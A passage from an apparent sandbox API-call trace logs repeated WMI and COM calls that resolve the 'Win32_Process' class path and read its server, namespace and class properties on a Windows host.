lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0142.411] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.411] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8f20, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0142.411] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8f20, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0142.411] IWbemServices:GetObject (in: This=0x1bce9370, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa299c0, ppCallResult=0x0) returned 0x0 [0142.416] IWbemClassObject:Get (in: This=0x1aa299c0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0142.416] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0142.416] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0142.416] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0142.416] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0142.416] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0142.416] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.418] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bce7080) returned 0x0 [0142.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7080, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0142.418] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7080, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bcd9be0) returned 0x0 [0142.419] WbemDefPath:IUnknown:Release (This=0x1bce7080) returned 0x0 [0142.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9be0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bcd9be0) returned 0x0 [0142.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9be0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0142.419] WbemDefPath:IUnknown:AddRef (This=0x1bcd9be0) returned 0x3 [0142.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9be0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0142.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9be0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0142.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9be0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bce70a0) returned 0x0 [0142.419] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce70a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.419] WbemDefPath:IUnknown:Release (This=0x1bce70a0) returned 0x3 [0142.419] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0142.419] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0142.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9be0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0142.420] WbemDefPath:IUnknown:Release (This=0x1bcd9be0) returned 0x2 [0142.420] WbemDefPath:IUnknown:Release (This=0x1bcd9be0) returned 0x1 [0142.420] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0142.420] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0142.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9be0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcd9be0) returned 0x0 [0142.420] WbemDefPath:IUnknown:AddRef (This=0x1bcd9be0) returned 0x3 [0142.420] WbemDefPath:IUnknown:Release (This=0x1bcd9be0) returned 0x2 [0142.420] WbemDefPath:IWbemPath:SetText (This=0x1bcd9be0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0142.420] IWbemClassObject:Get (in: This=0x1aa299c0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0142.420] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.420] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.420] IWbemClassObject:Get (in: This=0x1aa299c0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0142.421] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0142.421] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0142.421] IWbemClassObject:Get (in: This=0x1aa299c0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0142.421] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0142.421] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0142.421] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0142.421] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0142.421] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0142.421] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.423] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce7240) returned 0x0 [0142.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7240, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0142.424] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7240, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd9ca0) returned 0x0 [0142.424] WbemDefPath:IUnknown:Release (This=0x1bce7240) returned 0x0 [0142.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ca0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd9ca0) returned 0x0 [0142.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ca0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0142.424] WbemDefPath:IUnknown:AddRef (This=0x1bcd9ca0) returned 0x3 [0142.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ca0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0142.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ca0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0142.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ca0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce7280) returned 0x0 [0142.424] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7280, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.424] WbemDefPath:IUnknown:Release (This=0x1bce7280) returned 0x3 [0142.424] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0142.424] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0142.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ca0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0142.425] WbemDefPath:IUnknown:Release (This=0x1bcd9ca0) returned 0x2 [0142.425] WbemDefPath:IUnknown:Release (This=0x1bcd9ca0) returned 0x1 [0142.425] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0142.425] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0142.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ca0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd9ca0) returned 0x0 [0142.425] WbemDefPath:IUnknown:AddRef (This=0x1bcd9ca0) returned 0x3 [0142.425] WbemDefPath:IUnknown:Release (This=0x1bcd9ca0) returned 0x2 [0142.425] WbemDefPath:IWbemPath:SetText (This=0x1bcd9ca0, uMode=0x4, pszPath="") returned 0x0 [0142.425] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0142.425] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0142.425] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0142.425] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.427] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce7240) returned 0x0 [0142.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7240, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0142.427] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7240, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd9d60) returned 0x0 [0142.427] WbemDefPath:IUnknown:Release (This=0x1bce7240) returned 0x0 [0142.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9d60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd9d60) returned 0x0 [0142.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9d60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0142.428] WbemDefPath:IUnknown:AddRef (This=0x1bcd9d60) returned 0x3 [0142.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9d60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0142.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9d60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0142.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9d60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce72c0) returned 0x0 [0142.428] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce72c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.428] WbemDefPath:IUnknown:Release (This=0x1bce72c0) returned 0x3 [0142.428] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0142.428] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0142.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9d60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0142.428] WbemDefPath:IUnknown:Release (This=0x1bcd9d60) returned 0x2 [0142.428] WbemDefPath:IUnknown:Release (This=0x1bcd9d60) returned 0x1 [0142.428] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0142.428] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0142.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9d60, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd9d60) returned 0x0 [0142.428] WbemDefPath:IUnknown:AddRef (This=0x1bcd9d60) returned 0x3 [0142.428] WbemDefPath:IUnknown:Release (This=0x1bcd9d60) returned 0x2 [0142.428] WbemDefPath:IWbemPath:SetText (This=0x1bcd9d60, uMode=0x4, pszPath="") returned 0x0 [0142.429] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9d60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0142.429] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9ca0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0142.429] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcd9d60, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0142.429] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd9d60, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0142.429] WbemDefPath:IWbemPath:SetServer (This=0x1bcd9d60, Name="Q9IATRKPRH") returned 0x0 [0142.429] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0142.429] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0142.429] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0142.429] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.431] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce72e0) returned 0x0 [0142.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce72e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0142.431] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce72e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd9e20) returned 0x0 [0142.431] WbemDefPath:IUnknown:Release (This=0x1bce72e0) returned 0x0 [0142.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9e20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd9e20) returned 0x0 [0142.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9e20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0142.432] WbemDefPath:IUnknown:AddRef (This=0x1bcd9e20) returned 0x3 [0142.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9e20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, 